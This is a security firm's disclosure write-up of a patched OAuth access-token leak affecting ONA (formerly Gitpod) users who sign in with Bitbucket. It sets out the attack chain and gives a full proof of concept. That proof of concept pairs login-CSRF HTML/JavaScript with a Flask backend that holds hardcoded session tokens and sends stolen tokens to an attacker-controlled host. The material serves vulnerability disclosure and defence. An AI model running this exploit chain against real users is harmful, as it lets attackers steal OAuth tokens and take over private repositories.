Redirect-based OAuth Token Exposure in Bitbucket Integrations
An OAuth redirection-based access token leak affecting users of ONA who authenticated using Bitbucket was discovered. The attack relies on several technical details across ONA, Bitbucket, and browser behavior.

Executive Summary
During a penetration testing engagement commissioned by ONA, Cenobe identified a OAuth vulnerability affecting ONA's Bitbucket authentication flow. The vulnerability enabled unauthorized access token exfiltration through a combination of implicit grant flow weaknesses, browser behavior, and application-specific features. This document presents the technical analysis.
Attack Description
ONA (ex-gitpod) uses OAuth to implement authentication with major SCM platforms (Github, Gitlab, Bitbucket). By default, read/write access is requested for public repositories, and users can additionally go through an OpenID Connect flow to grant ONA access to private repositories.
An OAuth redirection-based access token leak affecting users of ONA who authenticated using Bitbucket was discovered. The attack relies on several technical details across ONA, Bitbucket, and browser behavior.
Technical Prerequisites
The vulnerability emerges from the intersection of three key factors:
- Bitbucket provides no way to disable the implicit grant - an OAuth flow that has been subject to numerous attacks and is actively discouraged by current best practices. This flow uses the fragment response mode to deliver an access token to the application.
- Browsers carry the URL fragment across redirection chains if it is not explicitly overwritten by any of the redirects. This behavior increases the attack surface beyond simple redirect validation bypasses on the authorization server.
- Self-hosted SCM integration as an open redirect vector - ONA's feature allowing users to configure self-hosted SCM providers (e.g., Github/Gitlab Enterprise) made the OpenID Connect flow into an open redirect. However, self-hosted SCM providers were access-controlled and only accessible to users from the same organization that created them.
- Login CSRF - stemming from the lack of nonce claim in the state parameter, enabling the final piece of the attack chain.
Bitbucket Signin "Happy Path"
Standard authentication flow:
- Login flow is initiated by requesting the following endpoint with a post-login returnTo parameter, validated to point at the https://gitpod.io/ origin:
https://gitpod.io/api/login?host=bitbucket&returnTo={{returnTo}}
- Gitpod generates a JWT with the following structure and redirects the user to the authorization server with the JWT in the state parameter:
{"host":"bitbucket","returnTo":"{{returnTo}}","iat":1752053490,"exp":1752053790}
- The authorization server redirects back to Gitpod with an authorization_code and the JWT in the state parameter:
https://gitpod.io/auth/github/callback?code={{code}}&state={{jwt}}
- Gitpod exchanges the authorization_code for an access token
- If the token exchange is successful, Gitpod reads the returnTo claim from the state and redirects to it
Attack Flow
Attack Setup
- Attacker sets up a "listener" server to receive exfiltrated tokens
- Attacker creates an SCM account
- Attacker creates an ONA account using the SCM account
- Attacker configures a self-hosted SCM provider pointing to the "listener" server
- Attacker hosts an exploit page and delivers the URL to the target user
Exploitation Steps
- The victim navigates to the exploit page
- User interaction triggers a new tab to be opened
- The backend uses the attacker's ONA & SCM sessions to generate an OAuth login response
- The backend uses the attacker's ONA session to generate a state JWT with a tampered returnTo parameter pointing to the self-hosted SCM provider login initiation endpoint:
https://gitpod.io/api/authorize?returnTo=https://gitpod.io/&host={SCM_PROVIDER_HOST}
- The backend uses the attacker's SCM session to generate a valid authorization_code
- The new tab navigates its opener to the logout endpoint:
https://gitpod.io/api/logout
- New tab waits for logout to occur, then navigates its opener to the previously generated OAuth login response from step #3
- New tab waits for login into the attacker's account to occur, then navigates its opener to the Bitbucket implicit grant initiation endpoint, passing a redirect_uri containing the previously created state and authorization_code from steps 4 and 5
- Bitbucket responds with a redirect to https://gitpod.io/auth/bitbucket/callback containing the attacker-injected authorization_code/state parameters and a newly generated access_token in the fragment
- ONA validates the authorization_code, reads the returnTo parameter that was previously generated to point at the self-hosted SCM provider login initiation endpoint, and redirects to it
- The login initiation endpoint redirects to the attacker-controlled server
- The attacker-controlled server responds with an HTML page and reads the access token using location.hash
Proof of Concept
index.html
<p>Click anywhere</p>
<script>
onclick = () => {
w = open('/step2.html')
}
</script>
step2.html
<script>
// csrf logout
opener.location = 'https://gitpod.io/api/logout'
// csrf login
setTimeout(() => {
opener.location = '{{ oauth_login_response|safe }}';
}, 1500)
// exfiltrate oauth response to attacker controlled SCM provider
setTimeout(() => {
location = '{{ oauth_request|safe }}';
}, 4000)
</script>
app.py
from flask import Flask,render_template,request
from urllib.parse import urlparse, parse_qs, quote_plus
import requests
app = Flask(__name__, template_folder='./')
BITBUCKET_OAUTH_REQ = 'https://bitbucket.org/site/oauth2/authorize?response_type=token&redirect_uri={redirect_uri}&scope=account%20repository%20repository%3Awrite%20pullrequest%20pullrequest%3Awrite&client_id=V8rbTuxsregSPMwbk4'
SCM_PROVIDER_HOST='idp.hgfr.org'
GITPOD_SESSION = 'eyJhbGciOiJSUzUxMiIsInR5VCIsImtpZCI6IjAwMDEifQ.eyJ0cnkiOiJoYXJkZXIifQo.eD6_ViMXCOVJc63rBAOw5-xIDARkbVGA-oUxL_EAdvRoLe60DPuaPFZsBfGgNLJn56wKeP7doawiTTeK4brN_er8t7uD8Kv3iG7SUuVUT27YFbSYyB2vuyykgWQxjNuEuxeI0lUo_hLCLeixHKVZsQWqabAfrsLUVrDAOSI3gRcySaRFRkj1xIUyKn5Y6hhpPp3o2lZZiDfhCKovHjDknkTyV0iv7fUxfQrBGB-6d19gxvA042DnQ0U_oB0xeqeh-es9094lCzabVLDOmDvLcqG7II97ehpLPBl3fgwY7vwVZ9PfnXEKijzJ58907-qdSnmLmFVbmrWIIYDe92a0jxAxbqbzjOMuXwoBD0XR7UI-HIJvA4eTquV4exYj2j260DcA3MYqwOg1Ob4FBCg8JdFHP8EK6HFL_WKQfvk1GJes4hF0xZwISGe43EuLx35vfszkqTdhGUhbhyLYnVN6wOZA_9cLgn93nEDacJURRjrRMm92rRkUhYrqmhif9F98KYiG9jI8KEN1gu4U1IKKmbOKS6WIquQarvwFZZt4Mgt0of3W2Evj_oFI7LMruIA99zqq441L1AmR4Lst_E8xbdMw9uIMiVyv1wb2hDpurkru7xeBXhizkcy5C08'
GITHUB_SESSION = 'eg9Y4Lg3lOY7fMv_ow8NWtBM1UTLU85mhrDapWk3ZtpTEr3d'
@app.route("/")
def index():
return render_template('/index.html')
@app.route("/step2.html/")
def step2():
# initiate login flow
response = requests.get('https://gitpod.io/api/authorize?returnTo=https%3A%2F%2Fgitpod.io%2Fcomplete-auth%3Fmessage%3Dsuccess%3A3&host=github.com&override=true&scopes=user:email,read:user,public_repo,repo,read:org,workflow',
cookies={'__Host-_gitpod_io_jwt2_': GITPOD_SESSION},
allow_redirects=False)
# follow login flow to generate oauth login response
githubOAuthResponse = requests.get(response.headers['Location'],
cookies={'user_session': GITHUB_SESSION},
allow_redirects=False)
# generate oauth response with forged redirectTo parameter pointing to custom SCM redirect
redirectTo=f'https://gitpod.io/api/authorize?returnTo=https://gitpod.io/&host={SCM_PROVIDER_HOST}'
response = requests.get(f'https://gitpod.io/api/authorize?returnTo={quote_plus(redirectTo)}&host=github.com',
cookies={'__Host-_gitpod_io_jwt2_': GITPOD_SESSION},
allow_redirects=False)
customOAuthRequest = urlparse(response.headers['Location'])
state = parse_qs(customOAuthRequest.query)['state'][0]
# get a valid authorization_code to successfully complete the oauth flow and follow the redirectTo parameter
githubOAuthResponse2 = requests.get(f'https://github.com/login/oauth/authorize?response_type=code&redirect_uri=https%3A%2F%2Fapi.gitpod.io%2Fauth%2Fgithub%2Fcallback&scope=user%3Aemail&client_id=484069277e293e6d2a2a&state={state}',
cookies={'user_session': GITHUB_SESSION, '__Host-user_session_same_site': GITHUB_SESSION},
allow_redirects=False)
code = parse_qs(urlparse(githubOAuthResponse2.headers['Location']).query)['code'][0]
redirect_uri=f'https://gitpod.io/auth/bitbucket/callback?state={state}&code={code}'
return render_template('/step2.html',
oauth_login_response=githubOAuthResponse.headers['Location'],
oauth_request=BITBUCKET_OAUTH_REQ.format(redirect_uri=quote_plus(redirect_uri)))
app.run(port=3000)
Timeline
July 22 - Cenobe reported the issue to ONA
August 1 - Fix PR merged into main
August 29 - ONA released a Security Advisory
Impact Assessment
This vulnerability could enable attackers to:
- Obtain unauthorized access to private repositories
- Modify code and create malicious pull requests
- Access sensitive credentials and intellectual property
- Compromise supply chain security through malicious commits
About Cenobe
Cenobe is a Greek cybersecurity company specializing in penetration testing, vulnerability assessment, and security research. We focus on identifying complex, multi-vector vulnerabilities in modern web applications and cloud platforms.
Contact: info@cenobe.com